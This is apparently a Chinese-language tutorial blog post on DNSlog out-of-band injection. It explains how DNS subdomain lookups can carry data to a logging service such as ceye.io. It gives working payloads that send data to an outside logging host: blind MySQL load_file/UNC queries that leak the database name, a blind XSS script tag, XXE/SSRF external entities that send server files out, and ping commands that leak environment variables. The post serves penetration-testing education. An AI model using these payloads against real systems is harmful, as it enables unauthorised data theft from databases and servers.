DNSlog注入學習

之前一直有看到過DNSlog這個字眼,但一直沒有好好去了解一下,最近又接觸到了剛好來深入學習下

0x01 什麼是DNSlog

我們都知道DNS就是將域名解析為ip,用戶在瀏覽器上輸入一個域名A.com,就要靠DNS服務器將A.com解析到它的真實ip127.0.0.1,這樣就可以訪問127.0.0.1服務器上的相應服務。
那麼DNSlog是什麼。DNSlog就是存儲在DNS服務器上的域名信息,它記錄著用戶對域名www.baidu.com等的訪問信息,類似日誌文件。
那怎麼利用DNSlog進行注入呢?得深入了解一下DNSlog

0x02 DNSlog回顯原理

前面說DNSlog就是日誌,那怎麼用DNSlog進行注入並回顯信息呢。我們得再了解一個多級域名的概念。
域名分級與域名解析過程(DNS)
互聯網採用層次樹狀結構命名方法。域是名字空間中一個可被管理的劃分(按機構組織劃分),域可被劃分為子域,子域可再被劃分,即形成了頂級域名、二級域名、三級域名等。從右向左為頂級域名、二級域名、三級域名等,用點隔開。如:
tieba.baidu.com
它由三個標號組成, com即為頂級域名,baidu為二級域名,tieba即為三級域名。且域名不分區大小寫。
再來看一個圖

通俗的說就是我有個已註冊的域名a.com,我在域名代理商那裡將域名設置對應的ip 1.1.1.1 上,這樣當我向dns服務器發起a.com的解析請求時,DNSlog中會記錄下他給a.com解析,解析值為1.1.1.1,而我們這個解析的記錄的值就是我們要利用的地方。
看個直觀一點的例子來理解:
ping命令的時候會用到DNS解析所以我就用ping命令做個實驗。

可以看到解析的日誌會把%USERNAME%的值給帶出來,因為系統在ping命令之前會將%USERNAME%的值解析出來,然後再和a.com拼接起來,最後ping命令執行將longkey.a.com一起發給DNS服務器請求解析域名對應的ip地址,這個過程被記錄下來就是DNSlog,看到這裡應該有點感覺了。原理上只要能進行DNS請求的函數都可能存在DNSlog注入。
通常用在哪些地方
1.SQL注入中的盲注
在sql注入時為布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯
2.無回顯的命令執行
我們在讀取文件、執行命令注入等操作時無法明顯的確認是否利用成功
3.無回顯的SSRF
推薦平台:
//www.dnslog.cn
//admin.dnslog.link
//ceye.io
這裡用//ceye.io來做演示

這是一個免費的記錄dnslog的平台,我們註冊後到控制面板會給你一個三級域名:xxx.ceye.io,當我們把注入信息放到四級域名那裡,後台的日誌會記錄下來,還是之前那個例子,我把它放到四級域名的位置。

然後查看DNSlog

可以看到%USERNAME%的值被記錄到DNSlog上了

0x03 DNSlog利用姿勢

SQL注入

利用load_file函數圖解

就以sql盲注為例,後端數據庫用的mysql數據庫,說一下用dnslog回顯只能用於windows系統,為什麼呢。因為在利用sql盲注進行DNSlog回顯時,需要用到load_file函數,這個函數可以進行DNS請求。那
和只能在windows上用有什麼關係呢,這裡就涉及到Windows的一個小Tips——UNC路徑

UNC路徑

UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用於在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
\abc.xxx\test
這也就解釋了為什麼CONCAT()函數拼接了4個\了,雙斜杠表示網絡資源路徑多加兩個\就是轉義了反斜杠。
通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。show variables like '%secure%';查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=””就是可以load_flie任意磁盤的文件。

直接在mysql命令行執行:

select load_file('\\\\requests.xxxx.ceye.io\\aa');


查看DNSlog

這是最基本的用法,來看看利用盲注來回顯。

payload:' and if((select load_file(concat('\\\\',(select database()),'.p2w57g.ceye.io\\abc'))),1,0)--+


利用concat()函數將查詢的數據庫名和域名拼接,執行後查看DNSlog

可以看到數據庫名已經被獲取

XSS

XSS 盲打在安全測試的時候是比較常用的

payload: "<script src=//XSS.XXXXX.ceye.io></script>"



當然也可以打cookie,不過目前實現的條件極為苛刻,就不多說了。

SSRF

根據上面兩個例子,熟悉 SSRF 的肯定也是知道怎麼玩了

payload: "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."


XXE

當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那麼不用說,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM '//XXXX.ceye.io/%file;'>"
>
%all;

在我們的ceye平台就可以接收到這個讀取的服務器文件了。
當安全維護人員對服務器做了安全防護,使XXE不可以解析外部實體,但是這種任然是從前台直接傳遞的時候,依舊是存在SSRF漏洞。所以對XXE的安全防護是必須嚴格化的。

命令執行

以前在命令執行無法回顯的時候可能會借用類似 python -m SimpleHTTPServer 這樣的環境,採用回連的檢測機制來實時監控訪問日誌。Liunx 系統環境下一般是使用 curl 命令或者 wget 命令,而 windows 系統環境就沒有這麼方便的命令去直接訪問一個鏈接,常用的是 ftp命令和 PowerShell 中的文件下載來訪問日誌服務器。現在,有了一個比較通用的做法同時兼顧 Liunx 和 windows 平台,那就是 ping 命令,當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。
就像我之前第一個例子,用windows的系統變量

payload: " ping %PATH%.pxxx.ceye.io ..."

最後,在回顯數據時,域名能夠接受的字符是有條件限制的,某些不適合作為域名的特殊字符可能會被屏蔽掉,針對這種情況我們也可以base64編碼後再進行請求。